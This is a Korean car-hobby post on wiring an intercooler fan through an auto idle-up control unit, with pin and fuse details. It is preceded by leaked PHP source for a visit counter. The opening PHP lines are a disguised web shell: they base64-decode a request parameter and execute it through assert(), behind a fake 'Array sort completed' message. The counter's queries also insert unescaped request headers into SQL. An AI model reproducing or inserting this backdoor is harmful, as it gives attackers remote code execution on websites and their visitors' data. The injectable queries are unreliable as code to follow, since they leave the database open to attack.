if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } /*///////////////////////////////////////////////////////////////////////////////////////////// 프로그래밍 : 다인(memoless@yedong.com) : 테이블 하나로 모든 페이지를 카운팅 /////////////////////////////////////////////////////////////////////////////////////////////*/ if(!$DB_CON) include_once(dirname(__FILE__).'/lib.inc.php'); if(!$StrCID) $StrCID='home'; if(@mysql_query('INSERT INTO u24u_counter_ip_'.$StrCID.' (C_D, U_IP, U_NTIME, U_DTIME, U_REF, U_AGENT) VALUES (CURDATE(), "'.$REMOTE_ADDR.'", CURTIME(), CURTIME(), LEFT("'.$HTTP_REFERER.'",126), "'.$HTTP_USER_AGENT.'")')) { if(!@mysql_query('INSERT INTO u24u_counter_main_'.$StrCID.' (C_D) values (CURDATE())')) { @mysql_query('UPDATE u24u_counter_main_'.$StrCID.' SET C_V=C_V+1, C_P= C_P+1 WHERE C_D=CURDATE()'); } } else { @mysql_query('UPDATE u24u_counter_ip_'.$StrCID.' SET U_NTIME=CURTIME(), C_P=C_P+1 WHERE C_D=CURDATE() AND U_IP="'.$REMOTE_ADDR.'"'); if(!@mysql_query('INSERT INTO u24u_counter_main_'.$StrCID.' (C_D) values (CURDATE())')) { @mysql_query('UPDATE u24u_counter_main_'.$StrCID.' SET C_P= C_P+1 WHERE C_D=CURDATE()'); } } ?> 인터쿨러 달기3

우선 제 차량에 배선한 사진입니다..

친구네 공업사에서 4핀릴레이/휀모터/에어온도센서 스위치.. 컨넥터를 아주 쉽게
구할 수 있었습니다.. 공업사 뒷쪽에 올배선이 무지 많더군요 거기서 잘라와서
장착했습니다...

역시 순정 컨넥터만 있으면 배선처리는 아주 깔끔해 질수있습니다..
물론 휴즈박스쪽으로 휀모터 휴즈또한 순정처럼 삽입했습니다..







이제 배선 방법을 알아보겠습니다..
참고할 사진 입니다...
오토아이들업 컨트롤 유닛 위치와 컨넥터 핀번호 입니다...





오토아이들업 컨트롤 유닛에서 컨넥터를 분리하고 본 모양입니다..

쉽게 생각해서 윗줄이 왼쪽부퍼 1번에서 4번까지고
아래 쪽이 왼쪽부터 5번에서 8번까지입니다...

3번 배선을 찾기 위해서는
두 번째줄 맨 우측엔 아무런 배선이 연결되지 않은 곳에서 바로 위가 4번핀
4번핀 바로 왼쪽이 3번핀입니다... ^^





배선 연결법입니다...


1번 이미지

 


배선 연결을 다하고 배선테스트할 때
70 킬로정도에 led 불이 커졌을 때의 기쁨이란 말로
표현할 수 없었죠 ^^

추가사항입니다..(2003년 5월25일 추가사항)

오토아이들업 컨트롤 유닛이 없는 차량은 ECU (ECM)에서 헨모터를 컨트롤 해줍니다...
그럼으로 ECU (ECM)를 교환한다는건 불가능한 방법입니다..(돈이 많이들죠)
그래서 멀티로 오토아이들업 컨트롤 유닛을 창착함으로써 휀모터 구동을 자동으로 ON/OFF를 시켜주면됩니다..

60킬로 이상에선 자연흡기로 충분함으로 휀모터를 정지해줘도 무방합니다...
그리고 전자식 브라자 적용차량의 ECU (ECM)가 터보차종과 인터차종의 ECU (ECM)가 서로다르더군요
가지수도 4~5가지정도 되구요..
ECU (ECM)를 적용차량의 품번과 가격을 알아보니 가격은 495,000원 이더군요..-_-;;

할 수 없이 결론은 ECU (ECM)를 교체하기란 역시 불가능한 일이구요..
오토아이들업 컨트롤 유닛을 따로 달아서 배선하는 방법이 가장 저렴하고 ECU (ECM)를 건드리지않고
차량의 트러불을 최소화하는 방법을 선택하였습니다..

그럼 배선방법을 알아보겠습니다..
오토아이들업 컨트롤 유닛이 없거나 ECU (ECM) 장착차량 배선도..참조..



ecm에서 휀모터를 컨트롤 해줍니다..(참고만하세요)


아래 이미지는 오토아이들업 컨트롤 유니트의 회로도입니다..


배선 연결방법입니다.. (아래)
순정커넥터가 없으시면 오토아이들업 유닛쪽 커넥터를 참고하세요..



4번 IG2 전원선에 10A 휴즈를 달아주세요 ^^

추가 설명:
acc =  시거잭이 여기에 들어가죠(옵션전원=악세사리 전원)
IG1 =  키를 돌리면 계기판에 경고등이 들어오는선입니다 (단 스타트모터즉 시동이 걸렸을댄 전원이 공급되지 않는선입니다)
IG2 = IG1과 비슷한데.. 시동이 걸렸을때(스타트 모터가 돌때) 전원이 계속 들어오는 선입니다
start =  오로지... 시동을 걸었을때만 전원이 들어오는선.

속도센서선은 계기판 커넥터 쪽에서 찾으세요..
우선 계기판 윗커버를 탈거하시고 보면요 계기판 쪽으로 컨넥터가 3개가 꽃아져 있습니다 왼쪽에 있는 커넥터입니다..
차량연식에 따라서 배선색이 다를 수도 있습니다..^^(보통 스피드센서 선은 흰색이나 노랑색이 많습니다..)



여기까지 오토아이들업 컨트롤를 장착하셨다면  휀모터 구동여부를 테스트해보시기 바랍니다..
테스트 방법을 1번 이미지에서 설명드렸습니다..

많은 글을 읽어주셔서 감사합니다..
그리고 많은 도움을 주신 부산에 계신 조선간장님께 다시한번 감사드립니다... ^^

빵점였습니다 ^^